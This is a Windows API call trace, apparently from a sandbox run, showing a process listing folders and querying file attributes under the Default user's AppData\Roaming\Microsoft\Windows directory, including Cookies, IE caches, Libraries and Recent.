	[0082.434] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.435] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\*", lpFindFileData=0x127ef850 | out: lpFindFileData=0x127ef850*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf96b9c4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.436] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.437] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Cookies" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\cookies"), fInfoLevelId=0x0, lpFileInformation=0x127c05f8 | out: lpFileInformation=0x127c05f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe7f4ba2, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.438] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Cookies" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\cookies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.438] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\*", lpFindFileData=0x127ef7ec | out: lpFindFileData=0x127ef7ec*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe7f4ba2, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.438] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.438] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat"), fInfoLevelId=0x0, lpFileInformation=0x127c0698 | out: lpFileInformation=0x127c0698*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x6404e40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6404e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd021fb60, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1
	[0082.439] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\iecompatcache"), fInfoLevelId=0x0, lpFileInformation=0x127c06e8 | out: lpFileInformation=0x127c06e8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xedd0e6f6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.439] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\iecompatcache"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.439] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\*", lpFindFileData=0x127ef7ec | out: lpFindFileData=0x127ef7ec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xedd0e6f6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.440] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.440] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\Low" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\iecompatcache\\low"), fInfoLevelId=0x0, lpFileInformation=0x127c0788 | out: lpFileInformation=0x127c0788*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xedd0e6f6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.440] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\Low" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\iecompatcache\\low"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.440] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\Low\\*", lpFindFileData=0x127ef788 | out: lpFindFileData=0x127ef788*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xedd0e6f6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.440] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.440] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\ietldcache"), fInfoLevelId=0x0, lpFileInformation=0x127c07d8 | out: lpFileInformation=0x127c07d8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe9256a4, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.440] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\ietldcache"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.440] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\*", lpFindFileData=0x127ef7ec | out: lpFindFileData=0x127ef7ec*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x642afa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe9256a4, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.440] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.441] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\ietldcache\\low"), fInfoLevelId=0x0, lpFileInformation=0x127c08c8 | out: lpFileInformation=0x127c08c8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xedd0e6f6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.441] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\ietldcache\\low"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.441] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low\\*", lpFindFileData=0x127ef788 | out: lpFindFileData=0x127ef788*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xedd0e6f6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.441] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.441] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\index.dat" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\ietldcache\\index.dat"), fInfoLevelId=0x0, lpFileInformation=0x127c0918 | out: lpFileInformation=0x127c0918*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x6404e40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6404e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe6c3ce0, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x3c000)) returned 1
	[0082.441] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\libraries"), fInfoLevelId=0x0, lpFileInformation=0x127c0968 | out: lpFileInformation=0x127c0968*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6404e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.441] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\libraries"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.441] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\*", lpFindFileData=0x127ef7ec | out: lpFindFileData=0x127ef7ec*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6404e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.443] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.444] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Documents.library-ms" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\libraries\\documents.library-ms"), fInfoLevelId=0x0, lpFileInformation=0x127c0b48 | out: lpFileInformation=0x127c0b48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6404e40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6404e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0xe03)) returned 1
	[0082.444] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Music.library-ms" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\libraries\\music.library-ms"), fInfoLevelId=0x0, lpFileInformation=0x127c0b98 | out: lpFileInformation=0x127c0b98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6404e40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6404e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89275ec, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0xdd9)) returned 1
	[0082.444] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Pictures.library-ms" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\libraries\\pictures.library-ms"), fInfoLevelId=0x0, lpFileInformation=0x127c0be8 | out: lpFileInformation=0x127c0be8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6404e40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6404e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0xdfb)) returned 1
	[0082.445] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Videos.library-ms" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\libraries\\videos.library-ms"), fInfoLevelId=0x0, lpFileInformation=0x127c0c38 | out: lpFileInformation=0x127c0c38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6404e40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6404e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89275ec, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0xde6)) returned 1
	[0082.445] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\libraries\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x127c0c88 | out: lpFileInformation=0x127c0c88*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x6404e40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6404e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89275ec, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x112)) returned 1
	[0082.445] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\network shortcuts"), fInfoLevelId=0x0, lpFileInformation=0x127c0cd8 | out: lpFileInformation=0x127c0cd8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda27f60, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeeef71c, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.445] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\network shortcuts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.445] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\*", lpFindFileData=0x127ef7ec | out: lpFindFileData=0x127ef7ec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda27f60, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeeef71c, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.445] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.445] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\printer shortcuts"), fInfoLevelId=0x0, lpFileInformation=0x127c0d28 | out: lpFileInformation=0x127c0d28*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda27f60, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb9c40b55, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.445] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\printer shortcuts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.446] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts\\*", lpFindFileData=0x127ef7ec | out: lpFindFileData=0x127ef7ec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda27f60, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb9c40b55, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.446] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.446] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\privacie"), fInfoLevelId=0x0, lpFileInformation=0x127c0d78 | out: lpFileInformation=0x127c0d78*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xedd0e6f6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.446] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\privacie"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.446] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\*", lpFindFileData=0x127ef7ec | out: lpFindFileData=0x127ef7ec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xedd0e6f6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.447] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.447] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\privacie\\low"), fInfoLevelId=0x0, lpFileInformation=0x127c0e18 | out: lpFileInformation=0x127c0e18*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xedd0e6f6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.447] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\privacie\\low"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.447] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\PrivacIE\\Low\\*", lpFindFileData=0x127ef788 | out: lpFindFileData=0x127ef788*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xedd0e6f6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.447] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.447] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\recent"), fInfoLevelId=0x0, lpFileInformation=0x127c0e68 | out: lpFileInformation=0x127c0e68*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6404e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.449] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\recent"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.449] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*", lpFindFileData=0x127ef7ec | out: lpFindFileData=0x127ef7ec*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6404e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.449] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.449] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations"), fInfoLevelId=0x0, lpFileInformation=0x127c0fa8 | out: lpFileInformation=0x127c0fa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6404e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x125b3d0, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.449] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.449] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\*", lpFindFileData=0x127ef788 | out: lpFindFileData=0x127ef788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6404e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x125b3d0, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
